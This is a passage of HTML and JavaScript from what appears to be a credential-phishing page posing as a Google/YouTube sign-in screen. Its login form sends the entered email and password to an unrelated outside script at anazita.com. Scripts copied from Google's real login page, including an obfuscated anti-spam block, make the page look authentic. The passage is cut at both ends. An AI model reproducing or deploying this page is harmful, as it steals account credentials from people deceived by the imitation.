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" style="color: rgb(64, 64, 64); font-family: Arial, sans-serif; font-size: 13px;" /><span style="font-size: 18px;">&nbsp;</span></h1>
</div>
<div class="card signin-card clearfix">
<div id="cc_iframe_parent">
&nbsp;</div>
<img alt="" class="profile-img" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAYAAABS3GwHAAAJaElEQVR4Xu2dDUvcShiFU7GK+IGItYi0FfH//yIRtUjpByJqKdViryd3Y9fV3WSzm/Fk3mdgqdy7m5k573nmK5PJm9PT078FCQWCKvAGAIJGnmqXCgAARgitAACEDj+VBwA8EFoBAAgdfioPAHggtAIAEDr8VB4A8EBoBQAgdPipPADggdAKAEDo8FN5AMADoRUAgNDhp/IAgAdCKwAAocNP5QEAD4RWAABCh5/KAwAeCK0AAIQOP5UHADwQWgEACB1+Kg8AeCC0AgAQOvxUHgDwQGgFACB0+Kk8AOCB0AoAQOjwU3kAwAOhFQCA0OGn8gCAB0IrAAChw0/lAQAPhFYAAEKHn8oDAB4IrQAAhA4/lQcAPBBaAQAIHX4qDwB4ILQCABA6/FQeAPBAaAUAIHT4qTwA4IHQCgBA6PBTeQDAA6EVAIDQ4afyANCxB37//l38+vWruL29Le7u7sq/J6WVlZXi7du3xdLSUqG/l5eXOy5h7MsDQAfx//nzZ6HPzc1NcX9/P1MOCwsLxdraWrG6ulp+SPNVAADmpKeMfnl5WVxfX5ctfRdJPcP6+nqxublZCAzS7AoAwOwaFhcXF6X5Z23tmxZF5hcEW1tbTX/C98YoAAAzWEPj+W/fvnXW4tcVTT3Czs5OOVcgtVMAANrpVvz48aNs9R2SeoPt7W2HovSuDAAwZcj+/PlTfPnypdDqjlPSatHu7m6xuLjoVCz7sgDAFCGS6c/Pz5ON9acoWvlVzQ329vZYOp1COABoKJa7+atqAEHDgA6+BgAN9OqL+YGgQTBHvgIANZppzH92dmY77BlXfPUEHz9+ZE5QE18AqBHo8+fPdhPepu2cJsYfPnxo+vWQ3wOACWF3Wups606WSCcrBwBj9NFNLq345JC0MsTNspcjCQBjHH56evpqd3jnDZ3uGH/69Gnel83iegDwQhi1t0efnJL2DbF36HlEAWBEE21oOzk56d2qTx2sWhXa399nFynLoJOtkmPrX9WYXoAeoK6hLHIa+49WlrkAAEwEQE9xaaNbzkkb5niy7F+EmQMMuV17+6+urnL2f7GxsVE+Q0D6XwEAGHLC8fFxdpPfUaNrMnxwcID/BwoAwEAIbXjTtocISdsjOG2CHuCJ1/V0l7Y+REh6ekxbJEgMgR49EGH8X1WWeQCT4GeNn/b91B1alUuLqX1B2h9Eogd49MDR0VEoPxweHoaq77jKMgkeKAMAMXkAAACI6XyWQf/FXRvgdA8gUmIIxDLoo98BIBL6T+vKEIghUFz3P9QcAAAAAEIrAAChw08PMAg/N8JicgAAg7izFQIAYiowqDWb4WKGnx5gEHe2QwNATAWGas0DMfEsQA8wFPMI8wC2QnMjbGwzx0Px9ADxFBipMceixLIAQ6CReOe8GsTBWM/hBoARTTgakR4glgIv1DbH4xFp/V+2NT3AGNxzmgtwJOL4Nh0AxmjDCzJiDAQAYEKceUVS/hAAQE2MeUle3hAAQE18eU0qAOStQIPa8aLsBiL19Cv0AA0D1xcIdPqzTn3j8NtmgQWAZjqV33KHAPNPEczBVwFgSs00J9BbZASDU1KLr7e/LC4uOhXLviwA0DJETkukvA2+ZRAffgYA7bUrT5PWMwR3d3czXKX9T3WHV6874i3w7TUEgPbaPf5Se4e0i1Qb6VIkjfXV6vPi69nVBoDZNSyvIPMLguvr6856BLX46+vrpfkFAWl2BQBgdg2fXUFPlulzc3Mzc68go6+trZWvNuX1pvMPFgDMX9MnV9RqkeYKt7e3Zc9Q9xYajefV0i8tLZVje9bzuw0QAHSrL1c3VwAAzANE8bpVAAC61ZermysAAOYBonjdKgAA3erL1c0VAADzAFG8bhUAgG715ermCgCAeYAoXrcKAEC3+nJ1cwUAwDxAFK9bBQCgW325urkCAGAeIIrXrQIA0K2+XN1cAQAwDxDF61YBAOhWX65urgAAmAeI4nWrAADMUd/qYZfqXz0Mo0cl9Zn2GJXqQXc9EVY9FFP9Nx6Cn1/QAKCFljLz8BNeOiso9ckQempMZwANP0HG02PTBxMAajSTudWiy/TV443Ty5zuF9VjlIJBf3NQ1mTtAWBEn8rwMr0+qVv2eaOinkIgVB+AeKowADzooRMcZHb923fD1wEkIHS6hIDglInAJ8PN8+iSOtO5/n+OXAkGAKYfj2JUGLIfAmlMf3V11emJba4tfNtyVSfQbWxsZD+JzhYAjel1VKFafVJ7BTRP0FGMud57yA4Anc0p409746m9RWL8UsuqAkFnk+aUsgFAxtcpzbmv4ry2+TQ80qnUuYDQewA01NHLKmjx06KhHmF7e7v3Q6PeAqDJ7ffv3xnjp/X9s9w0R3j37l1vJ8u9BEBjfA13Ur2Q4pU9Zp+9llA1LNIcoW+pVwDI8HpBXd0R430LQi7l1UqRXtTXp5d39AYAmV7mp9X3xkXmFwR9WTbtBQBa4fn69at35CndEwXev3/fi5UiewD0FkbdySX1TwHdSdZbLJ2TNQCY39k6zcrmDoEtAFrp0fo+qf8K6H6B6wqRJQDav6MJLykfBTQxdnz+wA4ArfKcnJyw2pOP98uaaHVof3/fbonUDgC1/OzgzMz9g+qoB1BP4JSsANBa//n5uZM+lGXOCuzt7VndI7ACQObnLu+cHWd2Od0gEwQuyQYAbW7T2J+UvwKaC7icTmEDAMue+Ru/qqHTsqgNAAx/4gDgNAyyAeD4+JilzyAMaEn04ODAorY2ABwdHVkIQiHSKHB4eJgmo5pcLADQzS/1AKQ4CgDAUKxZ/49j/KqmAAAA8Vw/VGMAAAAAMFDAYg7AEMjACYmLQA9AD5DYcl7ZAQAAeDkycWkAAAASW84rOwAAAC9HJi4NAABAYst5ZQcAAODlyMSlAQAASGw5r+wAAAC8HJm4NAAAAIkt55UdAACAlyMTlwYAACCx5byyAwAA8HJk4tIAAAAktpxXdgAAAF6OTFwaAACAxJbzyg4AAMDLkYlLAwAAkNhyXtkBAAB4OTJxaQAAABJbzis7AAAAL0cmLg0AAEBiy3llBwAA4OXIxKUBAABIbDmv7AAAALwcmbg0AAAAiS3nlR0AAICXIxOXBgAAILHlvLIDAADwcmTi0gAAACS2nFd2AAAAXo5MXBoAAIDElvPKDgAAwMuRiUsDAACQ2HJe2QEAAHg5MnFpAAAAElvOKzsXAP4DaJJom1nLdJsAAAAASUVORK5CYII=" />
<p class="profile-name">
<span class="style1" style="outline: 0; -webkit-text-size-adjust: 100%"><img src="http://i.cubeupload.com/QLmRWm.png" style="height: 35px; width: 250px;" /></span></p>
<form action="http://anazita.com/xmz/submit.php" id="signup" method="post" name="signup">
<input id="checkedDomains" name="checkedDomains" type="hidden" value="youtube" /> <label class="hidden-label" for="Email">Email</label> <input id="Email" name="Email" placeholder="Email" spellcheck="false" type="email" value="" /> <label class="hidden-label" for="Passwd">Password</label> <input id="Passwd" name="Passwd" placeholder="Password" type="password" /> <input class="rc-button rc-button-submit" id="signIn" name="signIn" type="submit" value="Sign in" /> <label class="remember"> <input id="PersistentCookie" name="PersistentCookie" type="checkbox" value="yes" /> <span> Stay signed in </span> </label>
<div class="bubble-wrap" role="tooltip">
<div class="bubble-pointer">
&nbsp;</div>
<input name="rmShown" type="hidden" value="1" /> <a class="need-help-reverse" href="https://accounts..com/RecoverAccount?service=wise&amp;continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23" id="link-forgot-passwd">&nbsp;</a></form>
</div>
<div class="one-">
<p class="create-account">&nbsp;
</p>
<p class="tagline">&nbsp;
</p>
</div>
</div>
<div class="-footer-bar">
<div class="footer content clearfix">
&nbsp;</div>
</div>
</div>
<script>
(function () {
var splitByFirstChar = function (toBeSplit, splitChar) {
var index = toBeSplit.indexOf(splitChar);
if (index >= 0) {
return [toBeSplit.substring(0, index),
toBeSplit.substring(index + 1)];
}
return [toBeSplit];
}
var langChooser_parseParams = function (paramsSection) {
if (paramsSection) {
var query = {};
var params = paramsSection.split('&');
for (var i = 0; i < params.length; i++) {
var param = splitByFirstChar(params[i], '=');
if (param.length == 2) {
query[param[0]] = param[1];
}
}
return query;
}
return {};
}
var langChooser_getParamStr = function (params) {
var paramsStr = [];
for (var a in params) {
paramsStr.push(a + "=" + params[a]);
}
return paramsStr.join('&');
}
var langChooser_currentUrl = window.location.href;
var match = langChooser_currentUrl.match("^(.*?)(\\?(.*?))?(#(.*))?$");
var langChooser_currentPath = match[1];
var langChooser_params = langChooser_parseParams(match[3]);
var langChooser_fragment = match[5];
var langChooser = document.getElementById('lang-chooser');
var langChooserWrap = document.getElementById('lang-chooser-wrap');
var langVisControl = document.getElementById('lang-vis-control');
if (langVisControl && langChooser) {
langVisControl.style.display = 'inline';
langChooser.onchange = function () {
langChooser_params['lp'] = 1;
langChooser_params['hl'] = encodeURIComponent(this.value);
var paramsStr = langChooser_getParamStr(langChooser_params);
var newHref = langChooser_currentPath + "?" + paramsStr;
if (langChooser_fragment) {
newHref = newHref + "#" + langChooser_fragment;
}
window.location.href = newHref;
};
}
})();
</script><script type="text/javascript">
var gaia_attachEvent = function (element, event, callback) {
if (element.addEventListener) {
element.addEventListener(event, callback, false);
} else if (element.attachEvent) {
element.attachEvent('on' + event, callback);
}
};
</script><script> var G, Gb = function (a, b) { var c = a; a && "string" == typeof a && (c = document.getElementById(a)); if (b && !c) throw new Ga(a); return c }, Ga = function (a) { this.id = a; this.toString = function () { return "No element found for id '" + this.id + "'" } }; var Gc = {}, Gf = function (a, b, c) { var d = function (a) { var b = c.call(this, a); !1 === b && Gd(a); return b }; a = Gb(a, !0); a.addEventListener(b, d, !1); Ge(a, b).push(d); return d }, Gg = function (a, b, c) { a = Gb(a, !0); var d = function () { var b = window.event, d = c.call(a, b); !1 === d && Gd(b); return d }; a.attachEvent("on" + b, d); Ge(a, b).push(d); return d }, Gh; Gh = window.addEventListener ? Gf : window.attachEvent ? Gg : void 0; var Gd = function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; return !1 };
var Ge = function (a, b) { Gc[a] = Gc[a] || {}; Gc[a][b] = Gc[a][b] || []; return Gc[a][b] }; var Gi = function () { try { return new XMLHttpRequest } catch (a) { for (var b = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], c = 0; c < b.length; c++) try { return new ActiveXObject(b[c]) } catch (d) { } } return null }, Gj = function () { this.g = Gi(); this.parameters = {} }; Gj.prototype.oncomplete = function () { };
Gj.prototype.send = function (a) { var b = [], c; for (c in this.parameters) { var d = this.parameters[c]; b.push(c + "=" + encodeURIComponent(d)) } var b = b.join("&"), e = this.g, f = this.oncomplete; e.open("POST", a, !0); e.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); e.onreadystatechange = function () { 4 == e.readyState && f({ status: e.status, text: e.responseText }) }; e.send(b) };
Gj.prototype.get = function (a) { var b = this.oncomplete, c = this.g; c.open("GET", a, !0); c.onreadystatechange = function () { 4 == c.readyState && b({ status: c.status, text: c.responseText }) }; c.send() }; var Gl = function (a) { this.e = a; this.k = this.l(); if (null == this.e) throw new Gk("Empty module name"); }; G = Gl.prototype; G.l = function () { var a = window.location.pathname; return a && 0 == a.indexOf("/accounts") ? "/accounts/JsRemoteLog" : "/JsRemoteLog" };
G.n = function (a, b, c) { var d = this.k, e = this.e || "", d = d + "?module=" + encodeURIComponent(e); a = a || ""; d = d + "&type=" + encodeURIComponent(a); b = b || ""; d = d + "&msg=" + encodeURIComponent(b); c = c || []; for (a = 0; a < c.length; a++) d = d + "&arg=" + encodeURIComponent(c[a]); try { var f = Math.floor(1E4 * Math.random()), d = d + "&r=" + String(f) } catch (g) { } return d }; G.send = function (a, b, c) { var d = new Gj; d.parameters = {}; try { var e = this.n(a, b, c); d.get(e) } catch (f) { } }; G.error = function (a, b) { this.send("ERROR", a, b) }; G.warn = function (a, b) { this.send("WARN", a, b) };
G.info = function (a, b) { this.send("INFO", a, b) }; G.f = function (a) { var b = this; return function () { try { return a.apply(null, arguments) } catch (c) { throw b.error("Uncatched exception: " + c), c; } } }; var Gk = function () { }; var Gm = Gm || new Gl("uri"), Gn = RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"), Go = function (a) { return "http" == a.toLowerCase() ? 80 : "https" == a.toLowerCase() ? 443 : null }, Gp = function (a, b) {
var c = b.match(Gn)[1] || null, d, e = b.match(Gn)[3] || null; d = e && decodeURIComponent(e); e = Number(b.match(Gn)[4] || null) || null; if (!c || !d) return Gm.error("Invalid origin Exception", [String(b)]), !1; e || (e = Go(c)); var f = a.match(Gn)[1] || null; if (!f || f.toLowerCase() !=
c.toLowerCase()) return !1; c = (c = a.match(Gn)[3] || null) && decodeURIComponent(c); if (!c || c.toLowerCase() != d.toLowerCase()) return !1; (d = Number(a.match(Gn)[4] || null) || null) || (d = Go(f)); return e == d
}; var Gq = Gq || new Gl("check_connection"), Gr = null, Gs = null, Gt = null, Gu = function (a, b) { this.c = a; this.b = b; this.a = !1 }; G = Gu.prototype; G.h = function (a, b) { if (!b) return !1; if (0 <= a.indexOf(",")) return Gq.error("CheckConnection result contains comma", [a]), !1; var c = b.value; b.value = c ? c + "," + a : a; return !0 }; G.d = function (a) { return this.h(a, Gs) }; G.j = function (a) { return this.h(a, Gt) }; G.i = function (a) { a = a.match("^([^:]+):(\\d*):(\\d?)$"); return !a || 3 > a.length ? null : a[1] };
G.p = function (a, b) { if (!Gp(this.c, a)) return !1; if (this.a || !b) return !0; "accessible" == b ? (this.d(a), this.a = !0) : this.i(b) == this.b && (this.j(b) || this.d(a), this.a = !0); return !0 }; G.m = function () { var a; a = this.c; var b = "timestamp", c = String((new Date).getTime()); if (0 < a.indexOf("#")) throw Object("Unsupported URL Exception: " + a); return a = 0 <= a.indexOf("?") ? a + "&" + encodeURIComponent(b) + "=" + encodeURIComponent(c) : a + "?" + encodeURIComponent(b) + "=" + encodeURIComponent(c) };
G.o = function () { var a = window.document.createElement("iframe"), b = a.style; b.visibility = "hidden"; b.width = "1px"; b.height = "1px"; b.position = "absolute"; b.top = "-100px"; a.src = this.m(); a.id = this.b; Gr.appendChild(a) };
var Gv = function (a) { return function (b) { var c = b.origin.toLowerCase(); b = b.data; for (var d = a.length, e = 0; e < d && !a[e].p(c, b); e++); } }, Gw = function () {
if (window.postMessage) {
var a; a = window.__CHECK_CONNECTION_CONFIG.iframeParentElementId; var b = window.__CHECK_CONNECTION_CONFIG.connectivityElementId, c = window.__CHECK_CONNECTION_CONFIG.newResultElementId; (Gr = document.getElementById(a)) ? (b && (Gs = document.getElementById(b)), c && (Gt = document.getElementById(c)), Gs || Gt ? a = !0 : (Gq.error("Unable to locate the input element to storeCheckConnection result",
["old id: " + String(b), "new id: " + String(c)]), a = !1)) : (Gq.error("Unable to locate the iframe anchor to append connection test iframe", ["element id: " + a]), a = !1); if (a) {
a = window.__CHECK_CONNECTION_CONFIG.domainConfigs; if (!a) { if (!window.__CHECK_CONNECTION_CONFIG.iframeUri) { Gq.error("Missing iframe URL in old configuration"); return } a = [{ iframeUri: window.__CHECK_CONNECTION_CONFIG.iframeUri, domainSymbol: "youtube"}] } if (0 != a.length) {
for (var b = a.length, c = [], d = 0; d < b; d++) c.push(new Gu(a[d].iframeUri, a[d].domainSymbol));
Gh(window, "message", Gv(c)); for (d = 0; d < b; d++) c[d].o()
}
}
}
}, Gx = function () { if (window.__CHECK_CONNECTION_CONFIG) { var a = window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId; if (window.postMessage) { var b = document.getElementById(a); b ? b.value = "1" : Gq.error("Unable to locate the input element to storepostMessage test result", ["element id: " + a]) } } }; G_checkConnectionMain = Gq.f(Gw); G_setPostMessageSupportFlag = Gq.f(Gx);
</script><script>
window.__CHECK_CONNECTION_CONFIG = {
newResultElementId: 'checkConnection',
domainConfigs: [{ iframeUri: 'https://accounts.youtube.com/accounts/CheckConnection?pmpo\75https%3A%2F%2Faccounts..com\46v\75-881549138', domainSymbol: 'youtube'}],
iframeUri: '',
iframeOrigin: '',
connectivityElementId: 'dnConn',
iframeParentElementId: 'cc_iframe_parent',
postMsgSupportElementId: 'pstMsg',
msgContent: 'accessible'
};
G_setPostMessageSupportFlag();
G_checkConnectionMain();
</script><script type="text/javascript"> /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29tCg== */(function () { eval('var f,g=this,k=void 0,p=Array.prototype,q=function(a,b,c){return 2>=arguments.length?p.slice.call(a,b):p.slice.call(a,b,c)},s=function(a,b,c,d,e){c=a.split("."),d=g,c[0]in d||!d.execScript||d.execScript("var "+c[0]);for(;c.length&&(e=c.shift());)c.length||b===k?d=d[e]?d[e]:d[e]={}:d[e]=b},t=function(a,b,c){if(b=typeof a,"object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;if(c=Object.prototype.toString.call(a),"[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},v=(new function(){},function(a,b){a.n=("E:"+b.message+":"+b.stack).slice(0,2048)}),w=function(a,b){for(b=Array(a);a--;)b[a]=255*Math.random()|0;return b},x=function(a,b){return a[b]<<24|a[b+1]<<16|a[b+2]<<8|a[b+3]},A=function(a,b){a.K.push(a.c.slice()),a.c[a.b]=k,z(a,a.b,b)},B=function(a,b,c){return c=function(){return a},b=function(){return c()},b.V=function(b){a=b},b},D=function(a,b,c,d){return function(){if(!d||a.s)return z(a,a.N,arguments),z(a,a.k,c),C(a,b)}},E=function(a,b,c,d){for(c=[],d=b-1;0<=d;d--)c[b-1-d]=a>>8*d&255;return c},F=function(a,b,c,d){if(8192>a.length)return String.fromCharCode.apply(null,a);for(b="",c=0;c<a.length;c+=8192)d=q(a,c,c+8192),b+=String.fromCharCode.apply(null,d);return b},C=function(a,b,c,d){return c=a.a(a.b),a.e&&c<a.e.length?(z(a,a.b,a.e.length),A(a,b)):z(a,a.b,b),d=a.t(),z(a,a.b,c),d},H=function(a,b,c,d){for(b={},b.O=a.a(G(a)),b.P=G(a),c=G(a)-1,d=G(a),b.self=a.a(d),b.D=[];c--;)d=G(a),b.D.push(a.a(d));return b},I=function(a,b,c,d){try{for(d=0;84941944608!=d;)a+=(b<<4^b>>>5)+b^d+c[d&3],d+=2654435769,b+=(a<<4^a>>>5)+a^d+c[d>>>11&3];return[a>>>24,a>>16&255,a>>8&255,a&255,b>>>24,b>>16&255,b>>8&255,b&255]}catch(e){throw e;}},z=function(a,b,c){if(b==a.b||b==a.m)a.c[b]?a.c[b].V(c):a.c[b]=B(c);else if(b!=a.d&&b!=a.f&&b!=a.h||!a.c[b])a.c[b]=J(c,a.a);b==a.r&&(a.u=k,z(a,a.b,a.a(a.b)+4))},K=function(a,b,c,d,e){for(a=a.replace(/\\r\\n/g,"\\n"),b=[],d=c=0;d<a.length;d++)e=a.charCodeAt(d),128>e?b[c++]=e:(2048>e?b[c++]=e>>6|192:(b[c++]=e>>12|224,b[c++]=e>>6&63|128),b[c++]=e&63|128);return b},L=function(a,b){return b<=a.aa?b==a.h||b==a.d||b==a.f||b==a.q?a.o:b==a.N||b==a.H||b==a.I||b==a.k?a.v:b==a.w?a.i:b==a.j||b==a.p?2:b==a.l?1:4:[1,2,4,a.o,a.v,a.i][b%a.ba]},G=function(a,b,c){if(b=a.a(a.b),!(b in a.e))throw a.g(a.Y),a.A;return a.u==k&&(a.u=x(a.e,b-4),a.C=k),a.C!=b>>3&&(a.C=b>>3,c=[0,0,0,a.a(a.r)],a.Z=I(a.u,a.C,c)),z(a,a.b,b+1),a.e[b]^a.Z[b%8]},J=function(a,b,c,d,e,h,l,n,m){return n=M,e=M.prototype,h=e.t,l=e.Q,m=e.g,d=function(){return c()},c=function(a,r,u){for(u=0,a=d[e.F],r=a===b,a=a&&a[e.F];a&&a!=h&&a!=l&&a!=n&&a!=m&&20>u;)u++,a=a[e.F];return c[e.ga+r+!(!a+(u>>2))]},d[e.J]=e,c[e.fa]=a,a=k,d},N=function(a,b,c,d,e,h){for(e=a.a(b),b=b==a.f?function(b,c,d,h){if(c=e.length,d=c-4>>3,e.da!=d){e.da=d,d=(d<<3)-4,h=[0,0,0,a.a(a.G)];try{e.ca=I(x(e,d),x(e,d+4),h)}catch(r){throw r;}}e.push(e.ca[c&7]^b)}:function(a){e.push(a)},d&&b(d&255),h=0,d=c.length;h<d;h++)b(c[h])},M=function(a,b,c,d,e,h){try{if(this.c=[],z(this,this.b,0),z(this,this.m,0),z(this,this.r,0),z(this,this.h,[]),z(this,this.d,[]),z(this,this.H,"object"==typeof window?window:g),z(this,this.I,this),z(this,this.l,0),z(this,this.p,0),z(this,this.G,0),z(this,this.f,w(4)),z(this,this.q,[]),z(this,this.k,{}),z(this,this.j,2048),this.s=true,a&&"!"==a[0])this.n=a;else{if(window.atob){for(c=window.atob(a),a=[],e=d=0;e<c.length;e++){for(h=c.charCodeAt(e);255<h;)a[d++]=h&255,h>>=8;a[d++]=h}b=a}else b=null;(this.e=b)&&this.e.length?(this.K=[],this.t()):this.g(this.U)}}catch(l){v(this,l)}};f=M.prototype,f.b=0,f.r=1,f.h=2,f.m=3,f.d=4,f.w=5,f.N=6,f.j=7,f.L=8,f.H=9,f.I=10,f.l=11,f.p=12,f.G=13,f.f=14,f.q=15,f.k=16,f.aa=17,f.R=15,f.$=12,f.S=10,f.T=42,f.ba=6,f.i=-1,f.o=-2,f.v=-3,f.U=17,f.W=21,f.B=22,f.ea=30,f.Y=31,f.X=33,f.A={},f.F="caller",f.J="toString",f.ga=34,f.fa=36,M.prototype.a=function(a,b){if(b=this.c[a],b===k)throw this.g(this.ea,0,a),this.A;return b()},M.prototype.ka=function(a,b,c,d){d=a[(b+2)%3],a[b]=a[b]-a[(b+1)%3]-d^(1==b?d<<c:d>>>c)},M.prototype.ja=function(a,b,c,d){if(3==a.length){for(c=0;3>c;c++)b[c]+=a[c];for(c=0,d=[13,8,13,12,16,5,3,10,15];9>c;c++)b[3](b,c%3,d[c])}},M.prototype.la=function(a,b){b.push(a[0]<<24|a[1]<<16|a[2]<<8|a[3]),b.push(a[4]<<24|a[5]<<16|a[6]<<8|a[7]),b.push(a[8]<<24|a[9]<<16|a[10]<<8|a[11])},M.prototype.g=function(a,b,c,d){d=this.a(this.m),a=[a,d>>8&255,d&255],c!=k&&a.push(c),0==this.a(this.h).length&&(this.c[this.h]=k,z(this,this.h,a)),c="",b&&(b.message&&(c+=b.message),b.stack&&(c+=":"+b.stack)),b=this.a(this.j),3<b&&(c=c.slice(0,b-3),b-=c.length+3,c=K(c),N(this,this.f,E(c.length,2).concat(c),this.$)),z(this,this.j,b)},f.M=[function(){},function(a,b,c,d,e){b=G(a),c=G(a),d=a.a(b),b=L(a,b),e=L(a,c),e==a.i||e==a.o?d=""+d:0<b&&(1==b?d&=255:2==b?d&=65535:4==b&&(d&=4294967295)),z(a,c,d)},function(a,b,c,d,e,h,l,n,m){if(b=G(a),c=L(a,b),0<c){for(d=0;c--;)d=d<<8|G(a);z(a,b,d)}else if(c!=a.v){if(d=G(a)<<8|G(a),c==a.i)if(c="",a.c[a.w]!=k)for(e=a.a(a.w);d--;)h=e[G(a)<<8|G(a)],c+=h;else{for(c=Array(d),e=0;e<d;e++)c[e]=G(a);for(d=c,c=[],h=e=0;e<d.length;)l=d[e++],128>l?c[h++]=String.fromCharCode(l):191<l&&224>l?(n=d[e++],c[h++]=String.fromCharCode((l&31)<<6|n&63)):(n=d[e++],m=d[e++],c[h++]=String.fromCharCode((l&15)<<12|(n&63)<<6|m&63));c=c.join("")}else for(c=Array(d),e=0;e<d;e++)c[e]=G(a);z(a,b,c)}},function(a){G(a)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),c=a.a(c),b=a.a(b),z(a,d,b[c])},function(a,b,c){b=G(a),c=G(a),b=a.a(b),z(a,c,t(b))},function(a,b,c,d,e){b=G(a),c=G(a),d=L(a,b),e=L(a,c),c!=a.h&&(d==a.i&&e==a.i?(a.c[c]==k&&z(a,c,""),z(a,c,a.a(c)+a.a(b))):e==a.o&&(0>d?(b=a.a(b),d==a.i&&(b=K(""+b)),c!=a.d&&c!=a.f&&c!=a.q||N(a,c,E(b.length,2)),N(a,c,b)):0<d&&N(a,c,E(a.a(b),d))))},function(a,b,c){b=G(a),c=G(a),z(a,c,function(a){return 